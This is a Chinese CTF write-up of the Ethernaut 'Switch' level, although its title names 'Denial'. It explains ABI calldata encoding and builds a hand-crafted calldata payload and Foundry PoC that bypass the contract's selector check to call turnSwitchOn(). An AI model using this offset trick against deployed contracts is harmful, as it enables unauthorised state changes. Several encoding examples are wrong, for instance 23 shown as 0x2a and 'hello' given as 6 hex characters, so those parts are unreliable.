通过破解 Ethernaut - Denial 来了解CALLDATA,该合约非常简单,旨在学习。
on my Github 我通过破解 Ethernaut CTF 学习了智能合约漏洞,对合约进行了安全分析,并提出了相应的安全建议,以帮助其他开发者更好地保护他们的智能合约,鉴于网络上教程较多,我着重分享1~19题里难度四星以上以及20题及以后的题目。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Switch {
bool public switchOn; // switch is off
bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));
modifier onlyThis() {
require(msg.sender == address(this), "Only the contract can call this");
_;
}
modifier onlyOff() {
// we use a complex data type to put in memory
bytes32[1] memory selector;
// check that the calldata at position 68 (location of _data)
assembly {
calldatacopy(selector, 68, 4) // grab function selector from calldata
}
require(
selector[0] == offSelector,
"Can only call the turnOffSwitch function"
);
_;
}
function flipSwitch(bytes memory _data) public onlyOff {
(bool success, ) = address(this).call(_data);
require(success, "call failed :(");
}
function turnSwitchOn() public onlyThis {
switchOn = true;
}
function turnSwitchOff() public onlyThis {
switchOn = false;
}
}
合约里有3个public函数,分别是flipSwitch
、turnSwitchOn
和 turnSwitchOff
,前一个函数被onlyOff
修饰,后两个函数被onlyThis
修饰。
turnSwitchOn
和turnSwitchOff
是修改开关状态的,这两个函数都被onlythis
修饰,该修饰符逻辑比较简单,就是确保了函数只能被合约本身调用,也就是说, flipSwitch
是我们唯一可以调用的函数。
function flipSwitch(bytes memory _data) public onlyOff {
(bool success, ) = address(this).call(_data);
require(success, "call failed :(");
}
可以看到这个函数的逻辑,通过修饰符onlyOff
对调用数据的执行检查,之后调用了address(this).call(_data)
,address(this).call(_data)
的作用是执行_data
中的代码,返回执行结果,并进行检查。
接着来看onlyOff
修饰符,
modifier onlyOff() {
// you can use a complex data type to put in memory
bytes32[1] memory selector;
// check that the calldata at position 68 (location of _data)
assembly {
calldatacopy(selector, 68, 4) // grab function selector from calldata
}
require(
selector[0] == offSelector,
"Can only call the turnOffSwitch function"
);
_;
}
修饰符检查使用 assembly 指令来从 _data 中提取函数选择器,使用 calldatacopy 指令将 把 calldata 从位置 68 开始的 4 个字节复制到 selector 数组中,随后检查 selector 数组中的第一个元素是否等于 offSelector(即turnOffSwitch函数的选择器)。如果匹配,那么函数将被调用,否则将引发错误。onlyOff
修饰符确保了flipSwitch
在后续执行只能调用turnSwitchOff
。目的是防止恶意用户或其他智能合约非法地调用。
这真的没问题吗,我们先来看看 CALLDATA 是怎么编码的。
Reversing The EVM: Raw Calldata有较为详细的介绍,官方文档也有,我主要介绍CALLDATA编码的要点,举个例子, Calldata是我们发送给函数的编码参数,在这里是发送给以太坊虚拟机(EVM)上的智能合约。每块calldata有32个字节长(或64个字符)。有两种类型的calldata:静态和动态。
静态Calldata 编码要点
6种类型:uint-s, int-s, address, bool, bytes-n, tuples
uint-s:无符号整数类型的编码方式是将其视为一个 256 位的二进制数,然后将每个字节转换为十六进制表示。例如,一个 uint256 类型的变量会被编码为 32 个十六进制字符。
int-s:有符号整数类型的编码方式与无符号整数类似,但会添加一个符号位。如果值为负,符号位为 1,否则为 0。
address:地址类型会被编码为 20 个十六进制字符,通常表示为一个 160 位的二进制数。
bool:布尔类型会被编码为 '0x01' 或 '0x00',表示 True 或 False。
bytes-n,:字节类型会被编码为 n 个十六进制字符,其中 n 是字节的长度。
tuples:元组类型的编码方式取决于其元素类型和数量。对于固定长度的元组,每个元素会被编码为固定长度的十六进制字符,然后将它们连接在一起。例如,一个 (uint256,address) 元组会被编码为 64 个十六进制字符(32 个字符表示 uint256 类型的值,20 个字符表示 address 类型的值)。
输入: 23 (uint256)
输出: 0x000000000000000000000000000000000000000000000000000000000000002a
动态Calldata 编码要点
3种类型:string, bytes and arrays string:字符串类型的 calldata 编码方式是将字符串视为一个字节数组,然后对每个字节进行十六进制编码。例如,一个字符串 "hello" 会被编码为 6 个十六进制字符:'68656c6c6f'。
bytes:字节类型的 calldata 编码方式与字符串类型类似,也是将字节数组视为一个字节数组,然后对每个字节进行十六进制编码。例如,一个字节数组 [0x01, 0x02, 0x03] 会被编码为 6 个十六进制字符:'010203'。
arrays:数组类型的 calldata 编码方式取决于其元素类型和数量。对于固定长度的数组,每个元素会被编码为固定长度的十六进制字符,然后将它们连接在一起。例如,一个 uint256[3] 类型的数组 [1, 2, 3] 会被编码为 64 个十六进制字符(32 个字符表示 uint256 类型的值,20 个字符表示数组的长度)。
对于动态类型的 calldata 编码,前 32 字节用于存储偏移量(offset),接下来的 32 字节用于存储长度(length),然后是用于存储值的区域。
例如,对字符串的编码,前32个字节代表偏移量,也就是20的,也就是十进制的32。所以我们从000000000000000000000000000000000000000000000020开始跳过32字节,把我们带到下一行,十六进制为0c,十进制为12,代表我们的字符串的字节长度。现在,当我们把48656c6c6f20576f726c6421转换为字符串类型时,会返回我们的原始值。
输入:string 'Hello World!'
输出: 0x
0000000000000000000000000000000000000000000000000000000000000020
000000000000000000000000000000000000000000000000000000000000000c
48656c6c6f20576f726c64210000000000000000000000000000000000000000
对此进行解析,
offset: 0000000000000000000000000000000000000000000000000000000000000020
length( 12 bytes = 12 chrs):000000000000000000000000000000000000000000000000000000000000000c
value("Hello World!" in hex):48656c6c6f20576f726c64210000000000000000000000000000000000000000
动态与静态结合 我举Reversing The EVM: Raw Calldata的例子,不难理解
pragma solidity 0.8.17;
contract Example {
function transfer(uint256[] memory ids, address to) external;
}
输入:调用合约Transfer,并传入参数 ids: ["1234", "4567", "8910"],to: 0xf8e81D47203A594245E36C48e151709F0C19fBe8
输出:0x8229ffb60000000000000000000000000000000000000000000000000000000000000040000000000000000000000000f8e81d47203a594245e36c48e151709f0c19fbe8000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000004d200000000000000000000000000000000000000000000000000000000000011d700000000000000000000000000000000000000000000000000000000000022ce
对此进行解析,
0x
// 函数选择器 (`transfer(uint[], address)`)
8229ffb6
// `uint256[] ids` 参数数组偏移 (64-bytes below from start of this line)
0000000000000000000000000000000000000000000000000000000000000040
// `address to` param
000000000000000000000000f8e81d47203a594245e36c48e151709f0c19fbe8
// `ids` 数组长度: 3
0000000000000000000000000000000000000000000000000000000000000003
// 第一个参数 `ids` 元素
00000000000000000000000000000000000000000000000000000000000004d2
// 第二个参数 `ids` 元素
00000000000000000000000000000000000000000000000000000000000011d7
// 第三个参数 `ids` 元素
00000000000000000000000000000000000000000000000000000000000022ce
请注意,数组参数是由一个偏移量来代表数组的开始位置。然后我们转到第二个参数,地址类型,然后完成数组类型。
ok,我们了解了calldata编码格式,根据onlyOff
修饰符检查要求 calldata 从位置 68 开始的 4 个字节要与turnOffSwitch
函数的选择器相等,就能通过检查
// 函数选择器 FlipSwitch(_data)的
30c13ade
// bytes memory _data 偏移量,我们可以利用的地方
00000000000000000000000000000000000000000000000000000000000000xx
0000000000000000000000000000000000000000000000000000000000000000
// turnSwitchOff()的函数选择器:xxxxxxxx 满足条件通过检查
xxxxxxxx00000000000000000000000000000000000000000000000000000000
// 我们可以利用的地方
0000000000000000000000000000000000000000000000000000000000000000 --> 1
0000000000000000000000000000000000000000000000000000000000000000 --> 2
首先,利用 cast 将三个函数选择器的calldata解析出来:
TurnSwitchOn()
,实时攻击的CALLDATA完整如下,
// 函数选择器 FlipSwitch(_data)的
30c13ade
// bytes memory _data 偏移量 96
0000000000000000000000000000000000000000000000000000000000000060
0000000000000000000000000000000000000000000000000000000000000000
// turnSwitchOff()的函数选择器:xxxxxxxx 满足条件通过检查
20606e1500000000000000000000000000000000000000000000000000000000
// _data长度
0000000000000000000000000000000000000000000000000000000000000004
// turnSwitchOn()的函数选择器
76227e1200000000000000000000000000000000000000000000000000000000
之后通过 call 调用实现攻击。
根据以上分析,完整的 PoC 代码如下:
interface ISwitch {
function flipSwitch(bytes memory _data) external;
function switchOn() external returns (bool);
}
contract SwitchTest is BaseTest {
function test_Attack() public {
bytes memory data = hex'30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000';
vm.prank(deployer);
contractAddress.call(data);
require(ISwitch(contractAddress).switchOn() == true, "Switch is not on");
}
}
## 安全建议
1. Call函数自由度过大,应谨慎使用作为底层函数,对于一些敏感操作或权限判断函数,不应轻易将合约自身的账户地址作为可信的地址。
2. 对传入的参数进行验证,确保传入的参数符合预期,防止恶意攻击者通过构造不合法的参数来执行恶意操作。
3. 使用权限控制机制,如访问控制列表(ACL)或角色based权限控制,来限制对其他合约函数的调用。
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!